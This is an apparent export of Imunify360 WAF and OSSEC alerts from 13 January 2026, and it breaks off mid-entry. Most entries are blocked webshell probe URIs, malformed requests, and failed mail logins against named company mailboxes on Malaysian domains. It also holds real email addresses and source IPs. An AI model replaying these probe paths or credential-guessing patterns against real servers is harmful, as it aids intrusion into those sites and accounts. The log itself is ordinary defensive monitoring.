name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.103.141
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=656790 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.166
country_id: 3865483
description:
Jan 13 18:02:01 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.14.123
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-01.168.91.14.123||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.166
country_id: 3865483
description:
Jan 13 18:02:09 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.179.198.140
country_id: 2542007
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-13 18:05:52 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (prows) [174.169.224.27]:50228: 535 Incorrect authentication data (set_id=webmaster@fkr.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 18:06:01 H=([77.83.39.92]) [77.83.39.92]:55221 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <celine@ktlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.169.224.27
country_id: 6252001
description:
Jan 13 18:05:50 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.169.224.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.252.221.146
country_id: 783754
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=799623 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 18:08:00 H=([77.83.39.92]) [77.83.39.92]:60081 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <cklee@ktlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 174.138.80.231
country_id: 6252001
description:
2026-01-13 18:08:35 2536428 [Warning] Aborted connection 2536428 to db: 'unconnected' user: 'unauthenticated' host: '174.138.80.231' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.210.177.189
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-11.192.210.177.189||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 18:11:44 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.59.87
country_id: 1269750
description:
Jan 13 18:11:51 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.59.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.59.87
country_id: 1269750
description:
2026-01-13 18:11:53 dovecot_login authenticator failed for H=(abts-north-static-087.59.160.122.airtelbroadband.in) [122.160.59.87]:39502: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-13 18:12:27 H=([185.214.10.21]) [185.214.10.21]:64155 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 18:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60357: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 18:15:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60358: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.114.21.51
country_id: 2328926
description:
Jan 13 18:16:25 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.114.21.51 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.111.0
country_id: 1733045
description:
[2026-01-13 18:16:59 +0800] info [webmaild] 113.211.111.0 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 18:16:17 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.185.243.157
country_id: 3469034
description:
2026-01-13 18:16:26 dovecot_login authenticator failed for H=177-185-243-157.goxinternet.com.br (213.5.130.102) [177.185.243.157]:41670: 535 Incorrect authentication data (set_id=syazwani@sanicarehygiene.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.114.21.51
country_id: 2328926
description:
2026-01-13 18:16:27 dovecot_plain authenticator failed for H=(ducks) [105.114.21.51]:52509: 535 Incorrect authentication data (set_id=support@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.23.182.16
country_id: 2017370
description:
Jan 13 18:17:10 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.23.182.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.94.55.211
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 18:18:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56219: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.23.182.16
country_id: 2017370
description:
2026-01-13 18:17:12 dovecot_login authenticator failed for H=([81.23.182.16]) [81.23.182.16]:55418: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.185.98.143
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=841251 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 18:18:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56219: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.41.156.64
country_id: 2017370
description:
Jan 13 18:19:01 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.41.156.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.41.156.64
country_id: 2017370
description:
2026-01-13 18:19:03 dovecot_login authenticator failed for H=([77.41.156.64]) [77.41.156.64]:58812: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.166.218.138
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=667720 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.44.227.226
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=224566 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-13 18:23:29 H=([45.144.212.54]) [45.144.212.54]:63408 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/company.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 18:25:34 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:41717: 535 Incorrect authentication data (set_id=general@kimmark.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-13 18:26:31 H=([185.214.10.21]) [185.214.10.21]:60788 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.19.121.112
country_id: 2017370
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=3 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.113.156
country_id: 3057568
description:
Jan 13 18:28:40 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.113.156 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 18:30:46 H=([77.83.39.92]) [77.83.39.92]:63797 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <inquiries@ktlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 18:31:17 H=([77.83.39.92]) [77.83.39.92]:63038 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <jacklim@ktlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/survey-meter.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.206.33.121
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/library/348/64467 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.30.189
country_id: 1819730
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/images/trophy-4.png HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.98.0.214
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=234981 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 49.228.196.191
country_id: 1605651
description:
2026-01-13 18:36:37 2537704 [Warning] Aborted connection 2537704 to db: 'unconnected' user: 'unauthenticated' host: '49.228.196.191' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.143.248.66
country_id: 3617476
description:
2026-01-13 18:37:36 dovecot_login authenticator failed for H=(213.5.130.104) [190.143.248.66]:45112: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.189
country_id: 6252001
description:
2026-01-13 18:38:31 dovecot_plain authenticator failed for H=([10.27.18.187]) [91.124.17.189]:44995: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.189
country_id: 6252001
description:
2026-01-13 18:39:10 dovecot_login authenticator failed for H=([10.27.18.187]) [91.124.17.189]:1094: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 18:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60402: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 18:43:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60402: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-13 18:44:15 H=([45.144.212.54]) [45.144.212.54]:56030 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.181.112.117
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=513447 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 18:46:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51581: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.222.94
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/debug/Tests/Exception HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.77.16.141
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/debug/Tests/Exception/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 18:46:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51581: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.215
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.131
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/fonts/KRAVITZ_.TTF HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.176
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/fonts/KRAVITZ_.TTF HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.194
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/cursor.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.206
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/flaticon.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.192
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/jquery.fancybox.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.150
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/jquery.fancybox.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.36.163.2
country_id: 286963
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/?page_id=5 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.207
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/plugins/revolution/css/layers.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/bootstrap.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.144
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/owl.carousel.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.216
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/owl.carousel.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/plugins/revolution/css/settings.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/fonts/fontawesome-webfont914c.woff2?v=4.6.1 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/plugins/revolution/css/settings.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/slick-theme.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.184
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.209
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/jquery-ui.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.181
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/slick-theme.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/custom.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/cursor.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.229
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/flaticon.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/slick.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.151
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/plugins/revolution/css/navigation.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.170
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.195
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/plugins/revolution/css/layers.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.229
country_id: 1880251
